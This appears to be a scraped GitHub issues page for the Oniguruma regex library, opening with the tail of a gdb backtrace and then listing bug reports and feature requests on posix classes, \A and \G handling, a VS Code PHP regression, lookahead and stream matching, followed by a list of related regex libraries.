    #563 0x6f2e2a3a35343b35 in ?? ()
    No symbol table info available.
    #564 0x3b353b38333d6767 in ?? ()
    No symbol table info available.
    #565 0x3d61722e2a3a3534 in ?? ()
    No symbol table info available.
    #566 0x3a35343b353b3833 in ?? ()
    No symbol table info available.
    #567 0x38333d7661772e2a in ?? ()
    No symbol table info available.
    #568 0x2e2a3a35343b353b in ?? ()
    No symbol table info available.
    #569 0x353b38333d61676f in ?? ()
    No symbol table info available.
    #570 0x706f2e2a3a35343b in ?? ()
    No symbol table info available.
    #571 0x3b353b38333d7375 in ?? ()
    No symbol table info available.
    #572 0x7870732e2a3a3534 in ?? ()
    No symbol table info available.
    #573 0x35343b353b38333d in ?? ()
    No symbol table info available.
    #574 0x3d667073782e2a3a in ?? ()
    No symbol table info available.
    #575 0x3a35343b353b3833 in ?? ()
    --Type <RET> for more, q to quit, c to continue without paging--
    No symbol table info available.
    #576 0x5255435f47445800 in ?? ()
    No symbol table info available.
    #577 0x5345445f544e4552 in ?? ()
    No symbol table info available.
    #578 0x4f4e473d504f544b in ?? ()
    No symbol table info available.
    #579 0x4d554c4f4300454d in ?? ()
    No symbol table info available.
    #580 0x56003936313d534e in ?? ()
    No symbol table info available.
    #581 0x49535245565f4554 in ?? ()
    No symbol table info available.
    #582 0x00303935353d4e4f in ?? ()
    No symbol table info available.
    #583 0x5f444e414c594157 in ?? ()
    No symbol table info available.
    #584 0x3d59414c50534944 in ?? ()
    No symbol table info available.
    #585 0x2d646e616c796177 in ?? ()
    No symbol table info available.
    #586 0x535f444f4d4c0030 in ?? ()
    No symbol table info available.
    #587 0x465f475241545445 in ?? ()
    No symbol table info available.
    #588 0x505055535f4c4c55 in ?? ()
    No symbol table info available.
    #589 0x47006f6e3d54524f in ?? ()
    No symbol table info available.
    #590 0x5245545f454d4f4e in ?? ()
    No symbol table info available.
    #591 0x43535f4c414e494d in ?? ()
    No symbol table info available.
    #592 0x726f2f3d4e454552 in ?? ()
    No symbol table info available.
    --Type <RET> for more, q to quit, c to continue without paging--
    #593 0x2f656d6f6e672f67 in ?? ()
    No symbol table info available.
    #594 0x6c616e696d726554 in ?? ()
    No symbol table info available.
    #595 0x2f6e65657263732f in ?? ()
    No symbol table info available.
    #596 0x3635393430646137 in ?? ()
    No symbol table info available.
    #597 0x31345f336132345f in ?? ()
    No symbol table info available.
    #598 0x5f303962395f3331 in ?? ()
    No symbol table info available.
    #599 0x6666626664643761 in ?? ()
    No symbol table info available.
    #600 0x4f4d4c0063346334 in ?? ()
    No symbol table info available.
    #601 0x4f49535245565f44 in ?? ()
    No symbol table info available.
    #602 0x37312e382e373d4e in ?? ()
    No symbol table info available.
    #603 0x4245445f534a4700 in ?? ()
    No symbol table info available.
    #604 0x555054554f5f4755 in ?? ()
    No symbol table info available.
    #605 0x7272656474733d54 in ?? ()
    No symbol table info available.
    #606 0x50454c55444f4d00 in ?? ()
    No symbol table info available.
    #607 0x544f4f525f485441 in ?? ()
    No symbol table info available.
    #608 0x68732f7273752f3d in ?? ()
    No symbol table info available.
    #609 0x75646f6d2f657261 in ?? ()
    No symbol table info available.
    #610 0x0073656c6966656c in ?? ()
    --Type <RET> for more, q to quit, c to continue without paging--
    No symbol table info available.
    #611 0x535345535f474458 in ?? ()
    No symbol table info available.
    #612 0x53414c435f4e4f49 in ?? ()
    No symbol table info available.
    #613 0x4c00726573753d53 in ?? ()
    No symbol table info available.
    #614 0x3d474b505f444f4d in ?? ()
    No symbol table info available.
    #615 0x6168732f7273752f in ?? ()
    No symbol table info available.
    #616 0x2f646f6d6c2f6572 in ?? ()
    No symbol table info available.
    #617 0x52455400646f6d6c in ?? ()
    No symbol table info available.
    #618 0x2d6d726574783d4d in ?? ()
    No symbol table info available.
    #619 0x726f6c6f63363532 in ?? ()
    No symbol table info available.
    #620 0x45504f5353454c00 in ?? ()
    No symbol table info available.
    #621 0x7273752f7c7c3d4e in ?? ()
    No symbol table info available.
    #622 0x73656c2f6e69622f in ?? ()
    No symbol table info available.
    #623 0x68732e6570697073 in ?? ()
    No symbol table info available.
    #624 0x5245535500732520 in ?? ()
    No symbol table info available.
    #625 0x6b7a636f6c6b743d in ?? ()
    No symbol table info available.
    #626 0x5f454d4f4e47006f in ?? ()
    No symbol table info available.
    #627 0x4c414e494d524554 in ?? ()
    No symbol table info available.
    --Type <RET> for more, q to quit, c to continue without paging--
    #628 0x454349565245535f in ?? ()
    No symbol table info available.
    #629 0x4c0037382e313a3d in ?? ()
    No symbol table info available.
    #630 0x444f4d444544414f in ?? ()
    No symbol table info available.
    #631 0x7479703d53454c55 in ?? ()
    No symbol table info available.
    #632 0x696870732d6e6f68 in ?? ()
    No symbol table info available.
    #633 0x6f687479702f786e in ?? ()
    No symbol table info available.
    #634 0x6e696870732d336e in ?? ()
    No symbol table info available.
    #635 0x414c505349440078 in ?? ()
    No symbol table info available.
    #636 0x4c485300303a3d59 in ?? ()
    No symbol table info available.
    #637 0x53414200323d4c56 in ?? ()
    No symbol table info available.
    #638 0x752f3d564e455f48 in ?? ()
    No symbol table info available.
    #639 0x65726168732f7273 in ?? ()
    No symbol table info available.
    #640 0x6d6c2f646f6d6c2f in ?? ()
    No symbol table info available.
    #641 0x2f74696e692f646f in ?? ()
    No symbol table info available.
    #642 0x4f4d4c0068736162 in ?? ()
    No symbol table info available.
    #643 0x694c3d7379735f44 in ?? ()
    No symbol table info available.
    #644 0x495f54510078756e in ?? ()
    No symbol table info available.
    #645 0x454c55444f4d5f4d in ?? ()
    --Type <RET> for more, q to quit, c to continue without paging--
    No symbol table info available.
    #646 0x564300737562693d in ?? ()
    No symbol table info available.
    #647 0x73733d4853525f53 in ?? ()
    No symbol table info available.
    #648 0x41454d5f434c0068 in ?? ()
    No symbol table info available.
    #649 0x544e454d45525553 in ?? ()
    No symbol table info available.
    #650 0x752e42475f6e653d in ?? ()
    No symbol table info available.
    #651 0x5f47445800386674 in ?? ()
    No symbol table info available.
    #652 0x5800323d524e5456 in ?? ()
    No symbol table info available.
    #653 0x49535345535f4744 in ?? ()
    No symbol table info available.
    #654 0x00323d44495f4e4f in ?? ()
    No symbol table info available.
    #655 0x54656c75646f4d5f in ?? ()
    No symbol table info available.
    #656 0x5f313030656c6261 in ?? ()
    No symbol table info available.
    #657 0x56485a763130583d in ?? ()
    No symbol table info available.
    #658 0x786d596852565a73 in ?? ()
    No symbol table info available.
    #659 0x4a795737317a586c in ?? ()
    No symbol table info available.
    #660 0x4e6e636c5a48564e in ?? ()
    No symbol table info available.
    #661 0x3054586934326270 in ?? ()
    No symbol table info available.
    #662 0x3931596973464c7a in ?? ()
    No symbol table info available.
    --Type <RET> for more, q to quit, c to continue without paging--
    #663 0x785761314a575a79 in ?? ()
    No symbol table info available.
    #664 0x4a535a746c47566b in ?? ()
    No symbol table info available.
    #665 0x4e4862685a575064 in ?? ()
    No symbol table info available.
    #666 0x3931596973464c6c in ?? ()
    No symbol table info available.
    #667 0x524664793947617a in ?? ()
    No symbol table info available.
    #668 0x3154586955576270 in ?? ()
    No symbol table info available.
    #669 0x78535a7a7857596d in ?? ()
    No symbol table info available.
    #670 0x5146613042585a6b in ?? ()
    No symbol table info available.
    #671 0x466d5a7330336539 in ?? ()
    No symbol table info available.
    #672 0x7458503578576174 in ?? ()
    No symbol table info available.
    #673 0x7458505531474c39 in ?? ()
    No symbol table info available.
    #674 0x68476435426e4962 in ?? ()
    No symbol table info available.
    #675 0x6847637a31696276 in ?? ()
    No symbol table info available.
    #676 0x31545869676e6270 in ?? ()
    No symbol table info available.
    #677 0x4a69626d4a795737 in ?? ()
    No symbol table info available.
    #678 0x4e58647649535064 in ?? ()
    No symbol table info available.
    #679 0x4a58596f4e334c79 in ?? ()
    No symbol table info available.
    #680 0x56485a7631324c6c in ?? ()
    --Type <RET> for more, q to quit, c to continue without paging--
    No symbol table info available.
    #681 0x564762705a575a73 in ?? ()
    No symbol table info available.
    #682 0x6847643542334c7a in ?? ()
    No symbol table info available.
    #683 0x6847637a31696276 in ?? ()
    No symbol table info available.
    #684 0x6c486376676e6270 in ?? ()
    No symbol table info available.
    #685 0x31794d7539476130 in ?? ()
    No symbol table info available.
    #686 0x676e62706847637a in ?? ()
    No symbol table info available.
    #687 0x566e5a6973464c69 in ?? ()
    No symbol table info available.
    #688 0x5557626835456273 in ?? ()
    No symbol table info available.
    #689 0x6c48636930545869 in ?? ()
    No symbol table info available.
    #690 0x4e584c7539476130 in ?? ()
    No symbol table info available.
    #691 0x394365756c476177 in ?? ()
    No symbol table info available.
    #692 0x3432626f52586577 in ?? ()
    No symbol table info available.
    #693 0x6c4761774e584c7a in ?? ()
    No symbol table info available.
    #694 0x4a79577349436575 in ?? ()
    No symbol table info available.
    #695 0x4a33546b46326273 in ?? ()
    No symbol table info available.
    #696 0x3054586949585a6b in ?? ()
    No symbol table info available.
    #697 0x4233627942484c78 in ?? ()
    No symbol table info available.
    --Type <RET> for more, q to quit, c to continue without paging--
    #698 0x73464c3974585055 in ?? ()
    No symbol table info available.
    #699 0x7432596852336369 in ?? ()
    No symbol table info available.
    #700 0x4a43613042585a45 in ?? ()
    No symbol table info available.
    #701 0x4a79577341545064 in ?? ()
    No symbol table info available.
    #702 0x4d5864304647647a in ?? ()
    No symbol table info available.
    #703 0x4e57596930545869 in ?? ()
    No symbol table info available.
    #704 0x7869496c5a586130 in ?? ()
    No symbol table info available.
    #705 0x4a585a7a566e4962 in ?? ()
    No symbol table info available.
    #706 0x306c496c3157594f in ?? ()
    No symbol table info available.
    #707 0x68476435426e4939 in ?? ()
    No symbol table info available.
    #708 0x6847637a31696276 in ?? ()
    No symbol table info available.
    #709 0x30484c69676e6270 in ?? ()
    No symbol table info available.
    #710 0x4647637478536673 in ?? ()
    No symbol table info available.
    #711 0x4979653945456130 in ?? ()
    No symbol table info available.
    #712 0x31324c6a52585a76 in ?? ()
    No symbol table info available.
    #713 0x5a575a7356485a76 in ?? ()
    No symbol table info available.
    #714 0x7769497a56476270 in ?? ()
    No symbol table info available.
    #715 0x3969637a56334c69 in ?? ()
    --Type <RET> for more, q to quit, c to continue without paging--
    No symbol table info available.
    #716 0x39535a794647617a in ?? ()
    No symbol table info available.
    #717 0x5647623152326274 in ?? ()
    No symbol table info available.
    #718 0x4979636c7857616d in ?? ()
    No symbol table info available.
    #719 0x4933633139694973 in ?? ()
    No symbol table info available.
    #720 0x556d636868326376 in ?? ()
    No symbol table info available.
    #721 0x55525f4744580076 in ?? ()
    No symbol table info available.
    #722 0x49445f454d49544e in ?? ()
    No symbol table info available.
    #723 0x752f6e75722f3d52 in ?? ()
    No symbol table info available.
    #724 0x303030312f726573 in ?? ()
    No symbol table info available.
    #725 0x524f4c4f435f5300 in ?? ()
    No symbol table info available.
    #726 0x4c006f7475613d53 in ?? ()
    No symbol table info available.
    #727 0x653d454d49545f43 in ?? ()
    No symbol table info available.
    #728 0x6674752e42475f6e in ?? ()
    No symbol table info available.
    #729 0x2f3d485441500038 in ?? ()
    No symbol table info available.
    #730 0x6562696c2f727375 in ?? ()
    No symbol table info available.
    #731 0x687479702f636578 in ?? ()
    No symbol table info available.
    #732 0x696870732d336e6f in ?? ()
    No symbol table info available.
    --Type <RET> for more, q to quit, c to continue without paging--
    #733 0x2f7273752f3a786e in ?? ()
    No symbol table info available.
    #734 0x7273752f3a6e6962 in ?? ()
    No symbol table info available.
    #735 0x752f3a6e6962732f in ?? ()
    No symbol table info available.
    #736 0x6c61636f6c2f7273 in ?? ()
    No symbol table info available.
    #737 0x4f4d006e6962732f in ?? ()
    No symbol table info available.
    #738 0x48544150454c5544 in ?? ()
    No symbol table info available.
    #739 0x6f6d2f6374652f3d in ?? ()
    No symbol table info available.
    #740 0x656c6966656c7564 in ?? ()
    No symbol table info available.
    #741 0x732f7273752f3a73 in ?? ()
    No symbol table info available.
    #742 0x646f6d2f65726168 in ?? ()
    No symbol table info available.
    #743 0x73656c6966656c75 in ?? ()
    No symbol table info available.
    #744 0x68732f7273752f3a in ?? ()
    No symbol table info available.
    #745 0x75646f6d2f657261 in ?? ()
    No symbol table info available.
    #746 0x2f73656c6966656c in ?? ()
    No symbol table info available.
    #747 0x752f3a78756e694c in ?? ()
    No symbol table info available.
    #748 0x65726168732f7273 in ?? ()
    No symbol table info available.
    #749 0x66656c75646f6d2f in ?? ()
    No symbol table info available.
    #750 0x726f432f73656c69 in ?? ()
    --Type <RET> for more, q to quit, c to continue without paging--
    No symbol table info available.
    #751 0x732f7273752f3a65 in ?? ()
    No symbol table info available.
    #752 0x6f6d6c2f65726168 in ?? ()
    No symbol table info available.
    #753 0x6d2f646f6d6c2f64 in ?? ()
    No symbol table info available.
    #754 0x6c6966656c75646f in ?? ()
    No symbol table info available.
    #755 0x0065726f432f7365 in ?? ()
    No symbol table info available.
    #756 0x49535345534d4447 in ?? ()
    No symbol table info available.
    #757 0x656d6f6e673d4e4f in ?? ()
    No symbol table info available.
    #758 0x4c49465453494800 in ?? ()
    No symbol table info available.
    #759 0x30393d455a495345 in ?? ()
    No symbol table info available.
    #760 0x464d4c5f00303030 in ?? ()
    No symbol table info available.
    #761 0x752f3d5f53454c49 in ?? ()
    No symbol table info available.
    #762 0x65726168732f7273 in ?? ()
    No symbol table info available.
    #763 0x66656c75646f6d2f in ?? ()
    No symbol table info available.
    #764 0x7479702f73656c69 in ?? ()
    No symbol table info available.
    #765 0x696870732d6e6f68 in ?? ()
    No symbol table info available.
    #766 0x6f687479702f786e in ?? ()
    No symbol table info available.
    #767 0x6e696870732d336e in ?? ()
    No symbol table info available.
    --Type <RET> for more, q to quit, c to continue without paging--
    #768 0x535f535542440078 in ?? ()
    No symbol table info available.
    #769 0x425f4e4f49535345 in ?? ()
    No symbol table info available.
    #770 0x45524444415f5355 in ?? ()
    No symbol table info available.
    #771 0x3a78696e753d5353 in ?? ()
    No symbol table info available.
    #772 0x75722f3d68746170 in ?? ()
    No symbol table info available.
    #773 0x312f726573752f6e in ?? ()
    No symbol table info available.
    #774 0x007375622f303030 in ?? ()
    No symbol table info available.
    #775 0x444d435f444f4d4c in ?? ()
    No symbol table info available.
    #776 0x68732f7273752f3d in ?? ()
    No symbol table info available.
    #777 0x646f6d6c2f657261 in ?? ()
    No symbol table info available.
    #778 0x696c2f646f6d6c2f in ?? ()
    No symbol table info available.
    #779 0x6d6c2f6365786562 in ?? ()
    No symbol table info available.
    #780 0x3d4c49414d00646f in ?? ()
    No symbol table info available.
    #781 0x6f70732f7261762f in ?? ()
    No symbol table info available.
    #782 0x2f6c69616d2f6c6f in ?? ()
    No symbol table info available.
    #783 0x6f6b7a636f6c6b74 in ?? ()
    No symbol table info available.
    #784 0x454d554e5f434c00 in ?? ()
    No symbol table info available.
    #785 0x475f6e653d434952 in ?? ()
    --Type <RET> for more, q to quit, c to continue without paging--
    No symbol table info available.
    #786 0x4f00386674752e42 in ?? ()
    No symbol table info available.
    #787 0x682f3d445750444c in ?? ()
    No symbol table info available.
    #788 0x6f6c6b742f656d6f in ?? ()
    No symbol table info available.
    #789 0x6d70722f6f6b7a63 in ?? ()
    No symbol table info available.
    #790 0x55422f646c697562 in ?? ()
    No symbol table info available.
    #791 0x67696e6f2f444c49 in ?? ()
    No symbol table info available.
    #792 0x4200312e392e362d in ?? ()
    No symbol table info available.
    #793 0x434e55465f485341 in ?? ()
    No symbol table info available.
    #794 0x29283d25256c6d5f in ?? ()
    No symbol table info available.
    #795 0x6c61766520207b20 in ?? ()
    No symbol table info available.
    #796 0x444f4d4c24282420 in ?? ()
    No symbol table info available.
    #797 0x5f6c6d2f5249445f in ?? ()
    No symbol table info available.
    #798 0x2240242220646d63 in ?? ()
    No symbol table info available.
    #799 0x48534142007d0a29 in ?? ()
    No symbol table info available.
    #800 0x6f6d5f434e55465f in ?? ()
    No symbol table info available.
    #801 0x283d2525656c7564 in ?? ()
    No symbol table info available.
    #802 0x61766520207b2029 in ?? ()
    No symbol table info available.
    --Type <RET> for more, q to quit, c to continue without paging--
    #803 0x4f4d4c242824206c in ?? ()
    No symbol table info available.
    #804 0x616220444d435f44 in ?? ()
    No symbol table info available.
    #805 0x2922402422206873 in ?? ()
    No symbol table info available.
    #806 0x6c61766520262620 in ?? ()
    No symbol table info available.
    #807 0x4f4d4c7b24282420 in ?? ()
    No symbol table info available.
    #808 0x5241545445535f44 in ?? ()
    No symbol table info available.
    #809 0x3a2d3a444d435f47 in ?? ()
    No symbol table info available.
    #810 0x29687320732d207d in ?? ()
    No symbol table info available.
    #811 0x656d6f682f007d0a in ?? ()
    No symbol table info available.
    #812 0x6b7a636f6c6b742f in ?? ()
    No symbol table info available.
    #813 0x6975626d70722f6f in ?? ()
    No symbol table info available.
    #814 0x444c4955422f646c in ?? ()
    No symbol table info available.
    #815 0x2e362d67696e6f2f in ?? ()
    No symbol table info available.
    #816 0x747365742f312e39 in ?? ()
    No symbol table info available.
    #817 0x6c2f7362696c2e2f in ?? ()
    No symbol table info available.
    #818 0x0070747365742d74 in ?? ()
    No symbol table info available.
    #819 0x0000000000000000 in ?? ()
    No symbol table info available.
    Backtrace stopped: Cannot access memory at address 0x7ffffffff000
    (gdb) 
    
    opened by kloczek 11
  • Posix classes are not strict enough `[:upper:]`

    Posix classes are not strict enough `[:upper:]`

    Multiple posix classes can be opened at once with many left brackets [: and then can all be closed on the same right bracket :]

    The below regex runs and will match all upper case letters aswell as a, b, c and :. image Note how there are many opening brackets, but only 2 closing.

    And if posix a value is inputted in the middle, the engine breaks: image Engine also breaks if any one of the : gets removed

    Initial report from: https://github.com/microsoft/vscode-textmate/issues/165

    specification 
    opened by RedCMD 9
  • selectively disabling \A and \G

    selectively disabling \A and \G

    👋 thanks again for the library, really wonderful!

    textmate grammars uses oniguruma for pattern matching in expanding text editor grammars, but they are done in a line-by-line fashion.

    as such, they impose some "special" interpretation of \A and \G, as far as I can tell this is how they are handled:

    • \A is only honored on the first line when looking at position 0
    • \G is only honored at the first position of a line or on a boundary condition (previous node was a start/end match, and a few other cases)

    either way, this requires some special disabling/enabling of these two regex flags

    the way vs code currently implements this is to replace \A and \G with \uffff however this is error prone for several reasons:

    • it doesn't properly handle special cases such as [\ABC]
    • it doesn't properly handle negation such as (?!\G)

    would it be possible to add flags (similar to the _BOL and _EOL flags) which toggle the behaviours of \A and \G? and/or is there a better way to handle the special constraints of textmate grammars here. (the issue I'm dealing with actually comes from https://github.com/asottile/babi/issues/73)

    opened by asottile 9
  • v6.9.2 breaks php parsing in vscode and atom

    v6.9.2 breaks php parsing in vscode and atom

    vscode gives the following error:

    [renderer1] [error] invalid code point value: Error: invalid code point value at Object.createOnigScanner (/usr/lib64/vscode/node_modules.asar/vscode-textmate/release/main.js:67:24) at Grammar.createOnigScanner (/usr/lib64/vscode/node_modules.asar/vscode-textmate/release/main.js:2478:30) at RegExpSourceList.compile (/usr/lib64/vscode/node_modules.asar/vscode-textmate/release/main.js:1853:38) at BeginEndRule.compile (/usr/lib64/vscode/node_modules.asar/vscode-textmate/release/main.js:2008:45) at matchRule (/usr/lib64/vscode/node_modules.asar/vscode-textmate/release/main.js:2724:28) at matchRuleOrInjections (/usr/lib64/vscode/node_modules.asar/vscode-textmate/release/main.js:2743:23) at scanNext (/usr/lib64/vscode/node_modules.asar/vscode-textmate/release/main.js:2833:17) at _tokenizeString (/usr/lib64/vscode/node_modules.asar/vscode-textmate/release/main.js:2826:9) at Grammar._tokenize (/usr/lib64/vscode/node_modules.asar/vscode-textmate/release/main.js:2582:25) at Grammar.tokenizeLine2 (/usr/lib64/vscode/node_modules.asar/vscode-textmate/release/main.js:2552:22) at D.tokenize2 (file:///usr/lib64/vscode/out/vs/workbench/workbench.main.js:4365:788) at h._updateTokensUntilLine (file:///usr/lib64/vscode/out/vs/workbench/workbench.main.js:1173:735) at h._tokenizeOneLine (file:///usr/lib64/vscode/out/vs/workbench/workbench.main.js:1173:187) at P._revalidateTokensNow (file:///usr/lib64/vscode/out/vs/workbench/workbench.main.js:1203:644) at P._warmUpTokens (file:///usr/lib64/vscode/out/vs/workbench/workbench.main.js:1203:327) at P._tokenizationListener.C.TokenizationRegistry.onDidChange.e (file:///usr/lib64/vscode/out/vs/workbench/workbench.main.js:1177:857) at d.fire (file:///usr/lib64/vscode/out/vs/workbench/workbench.main.js:77:983) at r.fire (file:///usr/lib64/vscode/out/vs/workbench/workbench.main.js:627:245) at register (file:///usr/lib64/vscode/out/vs/workbench/workbench.main.js:627:336) at _promises.set.t.then.t (file:///usr/lib64/vscode/out/vs/workbench/workbench.main.js:627:543)

    atom gives a similar error

    This does not happen in v6.9.1

    See elprans/atom-overlay#41 for a reference

    opened by PF4Public 9
  • Positive lookahead doesn't look beyond the current line?

    Positive lookahead doesn't look beyond the current line?

    I want to make sure a character is followed by something that not necessarily on the current line. When that something is on next line, using (?=) doesn't work, as in

    /(\/)(?=[^\/]*\/[ix]*)/
    

    If /ix doesn't appear in the same line with the previous /, the regexp doesn't match.

    If that's really the case, is there a way to make lookahead work across multiple lines?

    question 
    opened by hediyi 9
  • The results of a Google search for

    The results of a Google search for "oniguruma" are crazy! (in Japan)

    If you do a Google search for the keyword "oniguruma" you'll see some very strange results. The first few links that appear on the first page are related to the keyword oniguruma, but the rest of the pages are mostly made up of completely unrelated links. I noticed this last August. However, this may be the case only in Japan. I don't know what is going on in other parts of the world.

    The rest of this article is written below. https://kkos.fc2.net/blog-entry-1.html

    status 
    opened by kkos 33
  • Matching on streams

    Matching on streams

    Hi,

    This is a cross-post of https://github.com/k-takata/Onigmo/issues/83 ; I'm not sure where is would make most sense to implement this feature, or whether it would be feasible at all.

    How hard would it be to extend this library to support matching on arbitrary streams, instead of strings? I'm looking for an equivalent of TRE's tre_reguexec.

    The basic idea is that the caller can pass the equivalent of an iterator over something that may not be a string. This would make it possible to match over gap buffers, ropes, piece tables, and other string implementations that do not rely on a contiguous char array.

    Thanks!

    enhancement 
    opened by cpitclaudel 2
Releases(v6.9.8)
Owner
K.Kosako
Japan
K.Kosako
RE2 is a fast, safe, thread-friendly alternative to backtracking regular expression engines like those used in PCRE, Perl, and Python. It is a C++ library.

This is the source code repository for RE2, a regular expression library. For documentation about how to install and use RE2, visit https://github.co

Google 7.5k Jan 4, 2023
A Compile time PCRE (almost) compatible regular expression matcher.

Compile time regular expressions v3 Fast compile-time regular expressions with support for matching/searching/capturing during compile-time or runtime

Hana DusĂ­kovĂĄ 2.6k Jan 5, 2023
A small implementation of regular expression matching engine in C

cregex cregex is a compact implementation of regular expression (regex) matching engine in C. Its design was inspired by Rob Pike's regex-code for the

Jim Huang 72 Dec 6, 2022
Perl Incompatible Regular Expressions library

This is PIRE, Perl Incompatible Regular Expressions library. This library is aimed at checking a huge amount of text against relatively many regular

Yandex 320 Oct 9, 2022
Onigmo is a regular expressions library forked from Oniguruma.

Onigmo (Oniguruma-mod) https://github.com/k-takata/Onigmo Onigmo is a regular expressions library forked from Oniguruma. It focuses to support new exp

K.Takata 585 Dec 6, 2022
C++ regular expressions made easy

CppVerbalExpressions C++ Regular Expressions made easy VerbalExpressions is a C++11 Header library that helps to construct difficult regular expressio

null 362 Nov 29, 2022
The approximate regex matching library and agrep command line tool.

Introduction TRE is a lightweight, robust, and efficient POSIX compliant regexp matching library with some exciting features such as approximate (fuzz

Ville Laurikari 698 Dec 26, 2022
Glob pattern to regex translator in C++11. Optionally, directory traversal with glob pattern in C++17. Header-only library.

Glob pattern to regex translator in C++11. Optionally, directory traversal with glob pattern in C++17. Header-only library.

Takayuki MATSUOKA 3 Oct 27, 2021
SRL-CPP is a Simple Regex Language builder library written in C++11 that provides an easy to use interface for constructing both simple and complex regex expressions.

SRL-CPP SRL-CPP is a Simple Regex Language builder library written in C++11 that provides an easy to use interface for constructing both simple and co

Telepati 0 Mar 9, 2022
regular expression library

Oniguruma https://github.com/kkos/oniguruma Oniguruma is a modern and flexible regular expressions library. It encompasses features from different reg

K.Kosako 1.9k Jan 3, 2023
RE2 is a fast, safe, thread-friendly alternative to backtracking regular expression engines like those used in PCRE, Perl, and Python. It is a C++ library.

This is the source code repository for RE2, a regular expression library. For documentation about how to install and use RE2, visit https://github.co

Google 7.5k Jan 4, 2023
A portable fork of the high-performance regular expression matching library

Vectorscan? A fork of Intel's Hyperscan, modified to run on more platforms. Currently ARM NEON/ASIMD is 100% functional, and Power VSX are in developm

VectorCamp 275 Dec 26, 2022
A Compile time PCRE (almost) compatible regular expression matcher.

Compile time regular expressions v3 Fast compile-time regular expressions with support for matching/searching/capturing during compile-time or runtime

Hana DusĂ­kovĂĄ 2.6k Jan 5, 2023
A small implementation of regular expression matching engine in C

cregex cregex is a compact implementation of regular expression (regex) matching engine in C. Its design was inspired by Rob Pike's regex-code for the

Jim Huang 72 Dec 6, 2022
Header-only ECMAScript (JavaScript) compatible regular expression engine

SRELL (std::regex-like library) is a regular expression template library for C++ and has native support for UTF-8, UTF-16, and UTF-32. This is up-to-d

Dmitry Atamanov 4 Mar 11, 2022
Love 6's Regular Expression Engine. Support Concat/Select/Closure Basic function. Hope u can enjoy this tiny engine :)

Regex_Engine Love 6's Blog Website: https://love6.blog.csdn.net/ Love 6's Regular Expression Engine Hope u can love my tiny regex engine :) maybe a fe

Love6 2 May 24, 2022
Fast regular expression grep for source code with incremental index updates

Fast regular expression grep for source code with incremental index updates

Arseny Kapoulkine 261 Dec 28, 2022
Perl Incompatible Regular Expressions library

This is PIRE, Perl Incompatible Regular Expressions library. This library is aimed at checking a huge amount of text against relatively many regular

Yandex 320 Oct 9, 2022
Onigmo is a regular expressions library forked from Oniguruma.

Onigmo (Oniguruma-mod) https://github.com/k-takata/Onigmo Onigmo is a regular expressions library forked from Oniguruma. It focuses to support new exp

K.Takata 585 Dec 6, 2022
VexCL is a C++ vector expression template library for OpenCL/CUDA/OpenMP

VexCL VexCL is a vector expression template library for OpenCL/CUDA. It has been created for ease of GPGPU development with C++. VexCL strives to redu

Denis Demidov 683 Nov 27, 2022